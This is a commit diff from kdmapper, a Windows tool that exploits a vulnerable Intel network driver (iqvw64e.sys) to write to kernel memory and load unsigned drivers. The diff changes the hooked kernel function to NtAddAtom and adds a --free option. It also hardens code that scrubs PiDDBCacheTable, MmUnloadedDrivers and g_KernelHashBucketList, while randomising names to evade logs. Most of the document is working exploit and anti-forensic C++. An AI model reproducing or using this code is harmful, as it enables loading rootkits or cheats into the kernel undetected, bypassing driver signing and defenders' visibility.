Fixed BSOD with Cleaning of g_KernelHashBucketList, Fixed BSOD with Cleaning of MmUnloadedDrivers, Improved the race condition of the system hook hooking NtAddAtom

This commit is contained in:
TheCruZ 2021-06-24 20:49:53 +02:00
parent 66fbec660d
commit ca8cfe8e61
10 changed files with 239 additions and 118 deletions

BIN
HelloWorld.sys Normal file

Binary file not shown.

View file

@ -14,6 +14,8 @@ Fixups:
Hook "NtQueryInformationAtom" which exists in all windows versions
Fixed unable to load /GS- compiled drivers
Update: Now hooks "NtAddAtom" which is 100x times less used than NtQueryInformationAtom
Fixed 2 BSODs related to clear g_KernelHashBucketList and clear MmUnloadedDrivers
Improvements:
@ -22,6 +24,7 @@ Improvements:
Automatic clear PiDDBCacheTable
Header section skipped while copying driver to kernel
Automatic clear g_KernelHashBucketList
Added param --free to automatically free the allocated pool
Requirements:

View file

@ -1,5 +1,6 @@
#include "intel_driver.hpp"
ULONG64 intel_driver::ntoskrnlAddr = 0;
char intel_driver::driver_name[100] = {};
uintptr_t PiDDBLockPtr;
uintptr_t PiDDBCacheTablePtr;
@ -17,6 +18,15 @@ bool intel_driver::IsRunning()
HANDLE intel_driver::Load()
{
srand((unsigned)time(NULL) * GetCurrentThreadId());
//from https://github.com/ShoaShekelbergstein/kdmapper as some Drivers takes same device name
if (intel_driver::IsRunning())
{
std::cout << "[-] \\Device\\Nal is already in use." << std::endl;
return INVALID_HANDLE_VALUE;
}
//Randomize name for log in registry keys, usn jornal and other shits
memset(intel_driver::driver_name, 0, sizeof(intel_driver::driver_name));
static const char alphanum[] =
@ -54,7 +64,41 @@ HANDLE intel_driver::Load()
return nullptr;
}
return CreateFileW(L"\\\\.\\Nal", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
HANDLE result = CreateFileW(L"\\\\.\\Nal", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (!result || result == INVALID_HANDLE_VALUE)
{
std::cout << "[-] Failed to load driver iqvw64e.sys" << std::endl;
intel_driver::Unload(result);
return INVALID_HANDLE_VALUE;
}
ntoskrnlAddr = utils::GetKernelModuleAddress("ntoskrnl.exe");
if (ntoskrnlAddr == 0) {
std::cout << "[-] Failed to get ntoskrnl.exe" << std::endl;
intel_driver::Unload(result);
return INVALID_HANDLE_VALUE;
}
if (!intel_driver::ClearPiDDBCacheTable(result)) {
std::cout << "[-] Failed to ClearPiDDBCacheTable" << std::endl;
intel_driver::Unload(result);
return INVALID_HANDLE_VALUE;
}
if (!intel_driver::ClearKernelHashBucketList(result)) {
std::cout << "[-] Failed to ClearKernelHashBucketList" << std::endl;
intel_driver::Unload(result);
return INVALID_HANDLE_VALUE;
}
if (!intel_driver::ClearMmUnloadedDrivers(result)) {
std::cout << "[!] Failed to ClearMmUnloadedDrivers" << std::endl;
intel_driver::Unload(result);
return INVALID_HANDLE_VALUE;
}
return result;
}
void intel_driver::Unload(HANDLE device_handle)
@ -225,7 +269,7 @@ uint64_t intel_driver::AllocatePool(HANDLE device_handle, nt::POOL_TYPE pool_typ
if (!size)
return 0;
static uint64_t kernel_ExAllocatePool = GetKernelModuleExport(device_handle, utils::GetKernelModuleAddress("ntoskrnl.exe"), "ExAllocatePoolWithTag");
static uint64_t kernel_ExAllocatePool = GetKernelModuleExport(device_handle, intel_driver::ntoskrnlAddr, "ExAllocatePoolWithTag");
if (!kernel_ExAllocatePool)
{
@ -246,7 +290,7 @@ bool intel_driver::FreePool(HANDLE device_handle, uint64_t address)
if (!address)
return 0;
static uint64_t kernel_ExFreePool = GetKernelModuleExport(device_handle, utils::GetKernelModuleAddress("ntoskrnl.exe"), "ExFreePool");
static uint64_t kernel_ExFreePool = GetKernelModuleExport(device_handle, intel_driver::ntoskrnlAddr, "ExFreePool");
if (!kernel_ExFreePool) {
std::cout << "[!] Failed to find ExAllocatePool" << std::endl;
@ -295,6 +339,10 @@ uint64_t intel_driver::GetKernelModuleExport(HANDLE device_handle, uint64_t kern
if (!_stricmp(current_function_name.c_str(), function_name.c_str()))
{
const auto function_ordinal = ordinal_table[i];
if (function_table[function_ordinal] <= 0x1000) {
// Wrong function address?
return 0;
}
const auto function_address = kernel_module_base + function_table[function_ordinal];
if (function_address >= kernel_module_base + export_base && function_address <= kernel_module_base + export_base + export_base_size)
@ -385,10 +433,13 @@ bool intel_driver::ClearMmUnloadedDrivers(HANDLE device_handle)
return false;
}
wchar_t * unloadedName = new wchar_t[us_driver_base_dll_name.Length];
memset(unloadedName, 0, us_driver_base_dll_name.Length * sizeof(wchar_t));
wchar_t * unloadedName = new wchar_t[(ULONG64)us_driver_base_dll_name.Length/2ULL + 1ULL];
memset(unloadedName, 0, us_driver_base_dll_name.Length);
ReadMemory(device_handle, (uintptr_t)us_driver_base_dll_name.Buffer, unloadedName, us_driver_base_dll_name.Length * sizeof(wchar_t));
if (!ReadMemory(device_handle, (uintptr_t)us_driver_base_dll_name.Buffer, unloadedName, us_driver_base_dll_name.Length)) {
std::cout << "[!] Failed to read driver name" << std::endl;
return false;
}
us_driver_base_dll_name.Length = 0; //MiRememberUnloadedDriver will check if the length > 0 to save the unloaded driver
@ -419,7 +470,7 @@ bool intel_driver::ExAcquireResourceExclusiveLite(HANDLE device_handle, PVOID Re
if (!Resource)
return 0;
static uint64_t kernel_ExAcquireResourceExclusiveLite = GetKernelModuleExport(device_handle, utils::GetKernelModuleAddress("ntoskrnl.exe"), "ExAcquireResourceExclusiveLite");
static uint64_t kernel_ExAcquireResourceExclusiveLite = GetKernelModuleExport(device_handle, intel_driver::ntoskrnlAddr, "ExAcquireResourceExclusiveLite");
if (!kernel_ExAcquireResourceExclusiveLite) {
std::cout << "[!] Failed to find ExAcquireResourceExclusiveLite" << std::endl;
@ -436,7 +487,7 @@ bool intel_driver::ExReleaseResourceLite(HANDLE device_handle, PVOID Resource)
if (!Resource)
return false;
static uint64_t kernel_ExReleaseResourceLite = GetKernelModuleExport(device_handle, utils::GetKernelModuleAddress("ntoskrnl.exe"), "ExReleaseResourceLite");
static uint64_t kernel_ExReleaseResourceLite = GetKernelModuleExport(device_handle, intel_driver::ntoskrnlAddr, "ExReleaseResourceLite");
if (!kernel_ExReleaseResourceLite) {
std::cout << "[!] Failed to find ExReleaseResourceLite" << std::endl;
@ -451,7 +502,7 @@ BOOLEAN intel_driver::RtlDeleteElementGenericTableAvl(HANDLE device_handle, PVOI
if (!Table)
return false;
static uint64_t kernel_RtlDeleteElementGenericTableAvl = GetKernelModuleExport(device_handle, utils::GetKernelModuleAddress("ntoskrnl.exe"), "RtlDeleteElementGenericTableAvl");
static uint64_t kernel_RtlDeleteElementGenericTableAvl = GetKernelModuleExport(device_handle, intel_driver::ntoskrnlAddr, "RtlDeleteElementGenericTableAvl");
if (!kernel_RtlDeleteElementGenericTableAvl) {
std::cout << "[!] Failed to find RtlDeleteElementGenericTableAvl" << std::endl;
@ -497,11 +548,9 @@ intel_driver::PiDDBCacheEntry* intel_driver::LookupEntry(HANDLE device_handle, P
bool intel_driver::ClearPiDDBCacheTable(HANDLE device_handle) { //PiDDBCacheTable added on LoadDriver
uint64_t ntoskrnl = utils::GetKernelModuleAddress("ntoskrnl.exe");
PiDDBLockPtr = FindPatternInSectionAtKernel(device_handle, (char*)"PAGE", ntoskrnl, (PUCHAR)"\x81\xFB\x6C\x03\x00\xC0\x0F\x84\x00\x00\x00\x00\x48\x8D\x0D", (char*)"xxxxxxxx????xxx"); // 81 FB 6C 03 00 C0 0F 84 ? ? ? ? 48 8D 0D update for build 21286 etc...
PiDDBCacheTablePtr = FindPatternInSectionAtKernel(device_handle, (char*)"PAGE", ntoskrnl, (PUCHAR)"\x66\x03\xD2\x48\x8D\x0D", (char*)"xxxxxx");
PiDDBLockPtr = FindPatternInSectionAtKernel(device_handle, (char*)"PAGE", intel_driver::ntoskrnlAddr, (PUCHAR)"\x81\xFB\x6C\x03\x00\xC0\x0F\x84\x00\x00\x00\x00\x48\x8D\x0D", (char*)"xxxxxxxx????xxx"); // 81 FB 6C 03 00 C0 0F 84 ? ? ? ? 48 8D 0D update for build 21286 etc...
PiDDBCacheTablePtr = FindPatternInSectionAtKernel(device_handle, (char*)"PAGE", intel_driver::ntoskrnlAddr, (PUCHAR)"\x66\x03\xD2\x48\x8D\x0D", (char*)"xxxxxx");
if (PiDDBLockPtr == NULL || PiDDBCacheTablePtr == NULL) {
std::cout << "[-] Warning no PiDDBCacheTable Found" << std::endl;
return false;
@ -584,7 +633,10 @@ uintptr_t intel_driver::FindPatternAtKernel(HANDLE device_handle, uintptr_t dwAd
}
BYTE* sectionData = new BYTE[dwLen];
ReadMemory(device_handle, dwAddress, sectionData, dwLen);
if (!ReadMemory(device_handle, dwAddress, sectionData, dwLen)) {
std::cout << "[-] Read failed in FindPatternAtKernel" << std::endl;
return 0;
}
auto result = utils::FindPattern((uintptr_t)sectionData, dwLen, bMask, szMask);
@ -593,7 +645,7 @@ uintptr_t intel_driver::FindPatternAtKernel(HANDLE device_handle, uintptr_t dwAd
delete[] sectionData;
return 0;
}
result = dwAddress + result - (uintptr_t)sectionData;
result = dwAddress - (uintptr_t)sectionData + result;
delete[] sectionData;
return result;
}
@ -610,7 +662,7 @@ uintptr_t intel_driver::FindSectionAtKernel(HANDLE device_handle, char* sectionN
uintptr_t section = (uintptr_t)utils::FindSection(sectionName, (uintptr_t)headers, &sectionSize);
if (!section || !sectionSize) {
std::cout << "[-] Can't find section" << std::endl;
return false;
return 0;
}
if (size)
*size = sectionSize;
@ -628,6 +680,10 @@ bool intel_driver::ClearKernelHashBucketList(HANDLE device_handle) {
std::wstring wdname(dname.begin(),dname.end());
wdname = L"\\" + wdname;
uint64_t ci = utils::GetKernelModuleAddress("ci.dll");
if (!ci) {
std::cout << "[-] Can't Find ci.dll module address" << std::endl;
return false;
}
//Thanks @KDIo3 and @Swiftik from UnknownCheats
auto sig = FindPatternInSectionAtKernel(device_handle, (char*)"PAGE",ci, PUCHAR("\x48\x8B\x1D\x00\x00\x00\x00\xEB\x00\xF7\x43\x40\x00\x20\x00\x00"), (char*)"xxx????x?xxxxxxx");
@ -648,20 +704,7 @@ bool intel_driver::ClearKernelHashBucketList(HANDLE device_handle) {
return false;
}
std::wcout << L"[+] g_KernelHashBucketList Found 0x" << std::hex << g_KernelHashBucketList << std::endl;
//// Print KernelHashBucketList
//ULONG_PTR i = NULL;
//ReadMemory(device_handle, (uintptr_t)g_KernelHashBucketList, &i, sizeof(i));
//while (i)
//{
// const auto wsNamePtr = PWCH(i + 0x48);
// wchar_t wsName[MAX_PATH];
// memset(wsName, 0, MAX_PATH * sizeof(wchar_t));
// ReadMemory(device_handle, (uintptr_t)wsNamePtr, wsName, MAX_PATH * sizeof(wchar_t));
// std::wcout << wsName << std::endl;
// ReadMemory(device_handle, (uintptr_t)i, &i, sizeof(i));
//}
std::cout << "[+] g_KernelHashBucketList Found 0x" << std::hex << g_KernelHashBucketList << std::endl;
if (!ExAcquireResourceExclusiveLite(device_handle, g_HashCacheLock, true)) {
std::cout << "[-] Can't lock g_HashCacheLock" << std::endl;
@ -671,43 +714,112 @@ bool intel_driver::ClearKernelHashBucketList(HANDLE device_handle) {
HashBucketEntry* prev = (HashBucketEntry*)g_KernelHashBucketList;
HashBucketEntry* entry = 0;
ReadMemory(device_handle, (uintptr_t)prev, &entry, sizeof(entry));
if (!ReadMemory(device_handle, (uintptr_t)prev, &entry, sizeof(entry))) {
std::cout << "[-] Failed to read first g_KernelHashBucketList entry!" << std::endl;
if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) {
std::cout << "[-] Failed to release g_KernelHashBucketList lock!" << std::endl;
}
return false;
}
if (!entry) {
std::wcout << L"[!] g_KernelHashBucketList looks empty!" << std::endl;
ExReleaseResourceLite(device_handle, g_HashCacheLock);
std::cout << "[!] g_KernelHashBucketList looks empty!" << std::endl;
if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) {
std::cout << "[-] Failed to release g_KernelHashBucketList lock!" << std::endl;
}
return true;
}
char temp_directory[MAX_PATH] = { 0 };
const uint32_t get_temp_path_ret = GetTempPathA(sizeof(temp_directory), temp_directory);
if (temp_directory[strlen(temp_directory) - 1] == '\\')
temp_directory[strlen(temp_directory) - 1] = 0x0;
const std::string driver_path = std::string(temp_directory) + "\\" + driver_name;
SIZE_T vulDrvNameLen = (driver_path.length() - 2) * 2;
while (entry) {
wchar_t * wsNamePtr = 0;
USHORT wsNameLen = 0;
ReadMemory(device_handle, (uintptr_t)entry + offsetof(HashBucketEntry, DriverName.Buffer), &wsNamePtr, sizeof(wsNamePtr));
ReadMemory(device_handle, (uintptr_t)entry + offsetof(HashBucketEntry, DriverName.Length), &wsNameLen, sizeof(wsNameLen));
wchar_t* wsName = new wchar_t[wsNameLen];
memset(wsName, 0, wsNameLen * sizeof(wchar_t));
ReadMemory(device_handle, (uintptr_t)wsNamePtr, wsName, wsNameLen * sizeof(wchar_t));
if (std::wstring(wsName).find(wdname) != std::wstring::npos) {
std::wcout << L"[+] Found In g_KernelHashBucketList: " << wsName << std::endl;
HashBucketEntry* Next = 0;
ReadMemory(device_handle, (uintptr_t)entry, &Next, sizeof(Next));
WriteMemory(device_handle, (uintptr_t)prev, &Next, sizeof(Next));
FreePool(device_handle, (uintptr_t)entry);
std::wcout << L"[+] g_KernelHashBucketList Cleaned" << std::endl;
ExReleaseResourceLite(device_handle, g_HashCacheLock);
delete[] wsName;
return true;
if (!ReadMemory(device_handle, (uintptr_t)entry + offsetof(HashBucketEntry, DriverName.Length), &wsNameLen, sizeof(wsNameLen))) {
std::cout << "[-] Failed to read g_KernelHashBucketList entry text len!" << std::endl;
if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) {
std::cout << "[-] Failed to release g_KernelHashBucketList lock!" << std::endl;
}
return false;
}
if (wsNameLen == vulDrvNameLen) {
wchar_t* wsNamePtr = 0;
if (!ReadMemory(device_handle, (uintptr_t)entry + offsetof(HashBucketEntry, DriverName.Buffer), &wsNamePtr, sizeof(wsNamePtr)) || !wsNamePtr) {
std::cout << "[-] Failed to read g_KernelHashBucketList entry text ptr!" << std::endl;
if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) {
std::cout << "[-] Failed to release g_KernelHashBucketList lock!" << std::endl;
}
return false;
}
wchar_t* wsName = new wchar_t[(ULONG64)wsNameLen / 2ULL + 1ULL];
memset(wsName, 0, wsNameLen);
if (!ReadMemory(device_handle, (uintptr_t)wsNamePtr, wsName, wsNameLen)) {
std::cout << "[-] Failed to read g_KernelHashBucketList entry text!" << std::endl;
if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) {
std::cout << "[-] Failed to release g_KernelHashBucketList lock!" << std::endl;
}
return false;
}
if (std::wstring(wsName).find(wdname) != std::wstring::npos) {
std::wcout << L"[+] Found In g_KernelHashBucketList: " << wsName << " -> " << wsNameLen << std::endl;
HashBucketEntry* Next = 0;
if (!ReadMemory(device_handle, (uintptr_t)entry, &Next, sizeof(Next))) {
std::cout << "[-] Failed to read g_KernelHashBucketList next entry ptr!" << std::endl;
if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) {
std::cout << "[-] Failed to release g_KernelHashBucketList lock!" << std::endl;
}
return false;
}
if (!WriteMemory(device_handle, (uintptr_t)prev, &Next, sizeof(Next))) {
std::cout << "[-] Failed to write g_KernelHashBucketList prev entry ptr!" << std::endl;
if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) {
std::cout << "[-] Failed to release g_KernelHashBucketList lock!" << std::endl;
}
return false;
}
if (!FreePool(device_handle, (uintptr_t)entry)) {
std::cout << "[-] Failed to clear g_KernelHashBucketList entry pool!" << std::endl;
if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) {
std::cout << "[-] Failed to release g_KernelHashBucketList lock!" << std::endl;
}
return false;
}
std::cout << "[+] g_KernelHashBucketList Cleaned" << std::endl;
if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) {
std::cout << "[-] Failed to release g_KernelHashBucketList lock!" << std::endl;
if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) {
std::cout << "[-] Failed to release g_KernelHashBucketList lock!" << std::endl;
}
return false;
}
delete[] wsName;
return true;
}
delete[] wsName;
}
prev = entry;
delete[] wsName;
//read next
ReadMemory(device_handle, (uintptr_t)entry, &entry, sizeof(entry));
if (!ReadMemory(device_handle, (uintptr_t)entry, &entry, sizeof(entry))) {
std::cout << "[-] Failed to read g_KernelHashBucketList next entry!" << std::endl;
if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) {
std::cout << "[-] Failed to release g_KernelHashBucketList lock!" << std::endl;
}
return false;
}
}
if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) {
std::cout << "[-] Failed to release g_KernelHashBucketList lock!" << std::endl;
}
ExReleaseResourceLite(device_handle, g_HashCacheLock);
return false;
}

View file

@ -15,6 +15,7 @@ namespace intel_driver
extern char driver_name[100]; //"iqvw64e.sys"
constexpr uint32_t ioctl1 = 0x80862007;
constexpr DWORD iqvw64e_timestamp = 0x5284EAC3;
extern ULONG64 ntoskrnlAddr;
typedef struct _COPY_MEMORY_BUFFER_INFO
{
@ -152,16 +153,16 @@ namespace intel_driver
return false;
// Setup function call
HMODULE ntdll = GetModuleHandle("ntdll.dll");
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
if (ntdll == 0) {
std::cout << "[-] Failed to load ntdll.dll" << std::endl; //never should happens
return false;
}
const auto NtQueryInformationAtom = reinterpret_cast<void*>(GetProcAddress(ntdll, "NtQueryInformationAtom"));
if (!NtQueryInformationAtom)
const auto NtAddAtom = reinterpret_cast<void*>(GetProcAddress(ntdll, "NtAddAtom"));
if (!NtAddAtom)
{
std::cout << "[-] Failed to get export ntdll.NtQueryInformationAtom" << std::endl;
std::cout << "[-] Failed to get export ntdll.NtAddAtom" << std::endl;
return false;
}
@ -169,38 +170,46 @@ namespace intel_driver
uint8_t original_kernel_function[sizeof(kernel_injected_jmp)];
*(uint64_t*)&kernel_injected_jmp[2] = kernel_function_address;
const uint64_t kernel_NtQueryInformationAtom = GetKernelModuleExport(device_handle, utils::GetKernelModuleAddress("ntoskrnl.exe"), "NtQueryInformationAtom");
if (!kernel_NtQueryInformationAtom)
static uint64_t kernel_NtAddAtom = GetKernelModuleExport(device_handle, intel_driver::ntoskrnlAddr, "NtAddAtom");
if (!kernel_NtAddAtom)
{
std::cout << "[-] Failed to get export ntoskrnl.NtQueryInformationAtom" << std::endl;
std::cout << "[-] Failed to get export ntoskrnl.NtAddAtom" << std::endl;
return false;
}
if (!ReadMemory(device_handle, kernel_NtQueryInformationAtom, &original_kernel_function, sizeof(kernel_injected_jmp)))
if (!ReadMemory(device_handle, kernel_NtAddAtom, &original_kernel_function, sizeof(kernel_injected_jmp)))
return false;
if (original_kernel_function[0] == kernel_injected_jmp[0] &&
original_kernel_function[1] == kernel_injected_jmp[1] &&
original_kernel_function[sizeof(kernel_injected_jmp) - 2] == kernel_injected_jmp[sizeof(kernel_injected_jmp) - 2] &&
original_kernel_function[sizeof(kernel_injected_jmp) - 1] == kernel_injected_jmp[sizeof(kernel_injected_jmp) - 1]) {
std::cout << "[-] FAILED!: The code was already hooked!! another instance of kdmapper running?!" << std::endl;
return false;
}
// Overwrite the pointer with kernel_function_address
if (!WriteToReadOnlyMemory(device_handle, kernel_NtQueryInformationAtom, &kernel_injected_jmp, sizeof(kernel_injected_jmp)))
if (!WriteToReadOnlyMemory(device_handle, kernel_NtAddAtom, &kernel_injected_jmp, sizeof(kernel_injected_jmp)))
return false;
// Call function
if constexpr (!call_void)
{
using FunctionFn = T(__stdcall*)(A...);
const auto Function = reinterpret_cast<FunctionFn>(NtQueryInformationAtom);
const auto Function = reinterpret_cast<FunctionFn>(NtAddAtom);
*out_result = Function(arguments...);
}
else
{
using FunctionFn = void(__stdcall*)(A...);
const auto Function = reinterpret_cast<FunctionFn>(NtQueryInformationAtom);
const auto Function = reinterpret_cast<FunctionFn>(NtAddAtom);
Function(arguments...);
}
// Restore the pointer/jmp
WriteToReadOnlyMemory(device_handle, kernel_NtQueryInformationAtom, original_kernel_function, sizeof(kernel_injected_jmp));
WriteToReadOnlyMemory(device_handle, kernel_NtAddAtom, original_kernel_function, sizeof(kernel_injected_jmp));
return true;
}
}

View file

@ -1,6 +1,6 @@
#include "kdmapper.hpp"
uint64_t kdmapper::MapDriver(HANDLE iqvw64e_device_handle, const std::string& driver_path)
uint64_t kdmapper::MapDriver(HANDLE iqvw64e_device_handle, const std::string& driver_path, ULONG64 param1, ULONG64 param2, bool free)
{
std::vector<uint8_t> raw_image = { 0 };
@ -91,7 +91,7 @@ uint64_t kdmapper::MapDriver(HANDLE iqvw64e_device_handle, const std::string& dr
NTSTATUS status = 0;
if (!intel_driver::CallKernelFunction(iqvw64e_device_handle, &status, address_of_entry_point))
if (!intel_driver::CallKernelFunction(iqvw64e_device_handle, &status, address_of_entry_point, param1, param2))
{
std::cout << "[-] Failed to call driver entry" << std::endl;
kernel_image_base = realBase;
@ -100,6 +100,9 @@ uint64_t kdmapper::MapDriver(HANDLE iqvw64e_device_handle, const std::string& dr
std::cout << "[+] DriverEntry returned 0x" << std::hex << std::setw(8) << std::setfill('0') << std::uppercase << status << std::nouppercase << std::dec << std::endl;
if (free)
intel_driver::FreePool(iqvw64e_device_handle, realBase);
VirtualFree(local_image_base, 0, MEM_RELEASE);
return realBase;

View file

@ -13,7 +13,7 @@
namespace kdmapper
{
uint64_t MapDriver(HANDLE iqvw64e_device_handle, const std::string& driver_path);
uint64_t MapDriver(HANDLE iqvw64e_device_handle, const std::string& driver_path, ULONG64 param1, ULONG64 param2, bool free);
void RelocateImageByDelta(portable_executable::vec_relocs relocs, const uint64_t delta);
bool ResolveImports(HANDLE iqvw64e_device_handle, portable_executable::vec_imports imports);
}

View file

@ -69,6 +69,7 @@
<ConformanceMode>true</ConformanceMode>
<TreatWarningAsError>false</TreatWarningAsError>
<LanguageStandard>stdcpp17</LanguageStandard>
<MultiProcessorCompilation>true</MultiProcessorCompilation>
</ClCompile>
<Link>
<EnableCOMDATFolding>true</EnableCOMDATFolding>

View file

@ -17,57 +17,45 @@ int main(const int argc, char** argv)
{
SetUnhandledExceptionFilter(SimplestCrashHandler);
srand((unsigned)time(NULL) * GetCurrentThreadId());
if (argc != 2 || std::filesystem::path(argv[1]).extension().string().compare(".sys"))
{
std::cout << "[-] Incorrect usage" << std::endl;
if (argc != 2 && argc != 3) {
std::cout << "Usage: kdmapper.exe [--free] driver" << std::endl;
return -1;
}
//from https://github.com/ShoaShekelbergstein/kdmapper as some Drivers takes same device name
if (intel_driver::IsRunning())
{
std::cout << "[-] \\Device\\Nal is already in use." << std::endl;
bool free = false;
int drvIndex = 1;
if (argc > 2) {
if (_stricmp(argv[1], "--free") == 0 || _stricmp(argv[1], "/free") == 0) {
free = true;
drvIndex = 2;
}
else if (_stricmp(argv[2], "--free") == 0 || _stricmp(argv[2], "/free") == 0) {
free = true;
}
}
if (free) {
std::cout << "[+] Free pool memory after usage enabled" << std::endl;
}
if(std::filesystem::path(argv[drvIndex]).extension().string().compare(".sys") || argc == 3 && !free) {
std::cout << "Usage: kdmapper.exe [--free] driver" << std::endl;
return -1;
}
const std::string driver_path = argv[1];
const std::string driver_path = argv[drvIndex];
if (!std::filesystem::exists(driver_path))
{
if (!std::filesystem::exists(driver_path)) {
std::cout << "[-] File " << driver_path << " doesn't exist" << std::endl;
return -1;
}
iqvw64e_device_handle = intel_driver::Load();
if (!iqvw64e_device_handle || iqvw64e_device_handle == INVALID_HANDLE_VALUE)
{
std::cout << "[-] Failed to load driver iqvw64e.sys" << std::endl;
intel_driver::Unload(iqvw64e_device_handle);
if (iqvw64e_device_handle == INVALID_HANDLE_VALUE)
return -1;
}
if (!intel_driver::ClearPiDDBCacheTable(iqvw64e_device_handle)) {
std::cout << "[-] Failed to ClearPiDDBCacheTable" << std::endl;
intel_driver::Unload(iqvw64e_device_handle);
return -1;
}
if (!intel_driver::ClearKernelHashBucketList(iqvw64e_device_handle)) {
std::cout << "[-] Failed to ClearKernelHashBucketList" << std::endl;
intel_driver::Unload(iqvw64e_device_handle);
return -1;
}
if (!intel_driver::ClearMmUnloadedDrivers(iqvw64e_device_handle)) {
std::cout << "[!] Failed to ClearMmUnloadedDrivers" << std::endl;
intel_driver::Unload(iqvw64e_device_handle);
return -1;
}
if (!kdmapper::MapDriver(iqvw64e_device_handle, driver_path))
{
if (!kdmapper::MapDriver(iqvw64e_device_handle, driver_path, 0, 0, free)) {
std::cout << "[-] Failed to map " << driver_path << std::endl;
intel_driver::Unload(iqvw64e_device_handle);
return -1;
@ -75,5 +63,4 @@ int main(const int argc, char** argv)
intel_driver::Unload(iqvw64e_device_handle);
std::cout << "[+] success" << std::endl;
}

View file

@ -10,14 +10,14 @@ bool service::RegisterAndStart(const std::string& driver_path)
const std::string nPath = "\\??\\" + driver_path;
HKEY dservice;
LSTATUS status = RegCreateKey(HKEY_LOCAL_MACHINE, servicesPath.c_str(), &dservice); //Returns Ok if already exists
LSTATUS status = RegCreateKeyA(HKEY_LOCAL_MACHINE, servicesPath.c_str(), &dservice); //Returns Ok if already exists
if (status != ERROR_SUCCESS)
{
printf("[-] Can't create service key\n");
return false;
}
status = RegSetKeyValue(dservice, NULL, "ImagePath", REG_EXPAND_SZ, nPath.c_str(), (DWORD)nPath.size());
status = RegSetKeyValueA(dservice, NULL, "ImagePath", REG_EXPAND_SZ, nPath.c_str(), (DWORD)nPath.size());
if (status != ERROR_SUCCESS)
{
RegCloseKey(dservice);
@ -25,7 +25,7 @@ bool service::RegisterAndStart(const std::string& driver_path)
return false;
}
status = RegSetKeyValue(dservice, NULL, "Type", REG_DWORD, &ServiceTypeKernel, sizeof(DWORD));
status = RegSetKeyValueA(dservice, NULL, "Type", REG_DWORD, &ServiceTypeKernel, sizeof(DWORD));
if (status != ERROR_SUCCESS)
{
RegCloseKey(dservice);
@ -35,7 +35,7 @@ bool service::RegisterAndStart(const std::string& driver_path)
RegCloseKey(dservice);
HMODULE ntdll = GetModuleHandle("ntdll.dll");
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
if (ntdll == NULL) {
return false;
}
@ -75,7 +75,7 @@ bool service::StopAndRemove(const std::string& driver_name)
HKEY driver_service;
std::string servicesPath = "SYSTEM\\CurrentControlSet\\Services\\" + driver_name;
LSTATUS status = RegOpenKey(HKEY_LOCAL_MACHINE, servicesPath.c_str(), &driver_service);
LSTATUS status = RegOpenKeyA(HKEY_LOCAL_MACHINE, servicesPath.c_str(), &driver_service);
if (status != ERROR_SUCCESS)
{
if (status == ERROR_FILE_NOT_FOUND) {
@ -93,7 +93,7 @@ bool service::StopAndRemove(const std::string& driver_name)
}
status = RegDeleteKey(HKEY_LOCAL_MACHINE, servicesPath.c_str());
status = RegDeleteKeyA(HKEY_LOCAL_MACHINE, servicesPath.c_str());
if (status != ERROR_SUCCESS)
{
return false;

View file

@ -44,11 +44,14 @@ uint64_t utils::GetKernelModuleAddress(const std::string& module_name)
if (!NT_SUCCESS(status))
{
VirtualFree(buffer, 0, MEM_RELEASE);
if (buffer != 0)
VirtualFree(buffer, 0, MEM_RELEASE);
return 0;
}
const auto modules = static_cast<nt::PRTL_PROCESS_MODULES>(buffer);
if (!modules)
return 0;
for (auto i = 0u; i < modules->NumberOfModules; ++i)
{
@ -90,6 +93,9 @@ PVOID utils::FindSection(char* sectionName, uintptr_t modulePtr, PULONG size) {
PIMAGE_SECTION_HEADER section = &sections[i];
if (memcmp(section->Name, sectionName, namelength) == 0 &&
namelength == strlen((char*)section->Name)) {
if (!section->VirtualAddress) {
return 0;
}
if (size) {
*size = section->Misc.VirtualSize;
}